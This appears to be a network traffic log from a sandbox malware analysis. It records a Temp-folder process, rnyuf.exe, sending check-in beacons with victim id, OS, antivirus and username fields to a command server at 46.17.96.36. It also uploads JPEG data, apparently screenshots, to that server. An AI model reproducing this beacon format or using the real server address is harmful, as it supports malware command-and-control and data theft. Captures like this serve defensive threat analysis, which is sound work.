Aug 29, 2021 22:29:06.668040037 CEST	18592	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:06.668134928 CEST	18592	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:06.668294907 CEST	18602	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:06.668415070 CEST	18605	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:06.700967073 CEST	18613	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:06.701040030 CEST	18618	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:06.701117992 CEST	18626	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:29:06.701190948 CEST	18631	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:29:06.733958006 CEST	18635	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:29:06.734024048 CEST	18645	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:29:06.734199047 CEST	18659	OUT	Data Raw: f4 30 5a ff 00 df 86 ff 00 1a ab 79 f0 27 55 b5 88 14 d6 ad a6 91 c9 58 d0 42 c3 73 05 2d 8c 93 c7 dd af 6f ff 00 84 93 42 ff 00 a0 d6 9d ff 00 81 49 fe 35 4f 50 d7 b4 a9 12 06 b6 d5 f4 b7 92 29 77 ed 7b d4 50 46 d6 5e bc fa fa 54 f3 57 ec fe e2 Data Ascii: 0Zy'UXBs-oBI5OP)w{PF^TWCl"xn"m9^C2,sV<ge8(O5[WvM5hZ(5hIadK7szY9Q h4s0Dhapi}P(
Aug 29, 2021 22:29:06.852529049 CEST	18700	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.4	50051	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:06.709253073 CEST	18632	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:06.786432981 CEST	18700	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.4	50052	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:07.041423082 CEST	18701	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:07.126326084 CEST	18702	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.4	50053	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:07.256577969 CEST	18702	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:07.256655931 CEST	18702	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:07.256782055 CEST	18712	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:07.256865978 CEST	18715	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:07.293808937 CEST	18718	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:07.293874025 CEST	18721	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:07.293886900 CEST	18724	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:29:07.293903112 CEST	18729	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:07.294059992 CEST	18732	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:29:07.294235945 CEST	18736	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:29:07.294264078 CEST	18741	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:07.441014051 CEST	18812	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.4	50054	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:07.333308935 CEST	18792	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:07.404371977 CEST	18812	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.4	50055	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:07.641004086 CEST	18813	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:07.722687960 CEST	18813	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:29:07.944303036 CEST	18813	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:07.944365025 CEST	18813	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:07.944545031 CEST	18824	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:07.944617033 CEST	18826	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:07.979790926 CEST	18834	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:07.979835987 CEST	18840	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:07.980022907 CEST	18848	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:29:07.980145931 CEST	18853	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:29:08.015233994 CEST	18856	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:29:08.015271902 CEST	18861	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:29:08.015321016 CEST	18872	OUT	Data Raw: 2c ef 2d 6d 24 86 37 92 1f 30 6e 69 03 11 80 e8 a7 8d 87 39 03 b6 33 59 a0 8f 51 5d 4d a6 a5 a5 40 2e ed f5 3d 5e d5 c5 ce a1 61 33 4d a4 5a bd ba 88 e3 f3 03 95 51 12 6d 2b b9 4f 0b 93 9c 8c 9c d6 d5 ce b9 61 e2 7d 5a d7 4b b8 d4 12 7b 7b 8d 3a Data Ascii: ,-m$70ni93YQ]M@.=^a3MZQm+Oa}ZK{{:Hm~&Gudl(#-;K$_7B/g\wjs2X(9qZxuOkwEWIWLOUet<qe{+u7/YXgYWoTJOO^<Sq
Aug 29, 2021 22:29:08.136305094 CEST	18921	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.4	50056	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:08.129369020 CEST	18921	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:08.229768038 CEST	18922	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49767	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:24.552092075 CEST	4473	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: d1=1000003001&unit=152138533219
Aug 29, 2021 22:27:24.630176067 CEST	4474	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 29, 2021 22:27:24.671123028 CEST	4474	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
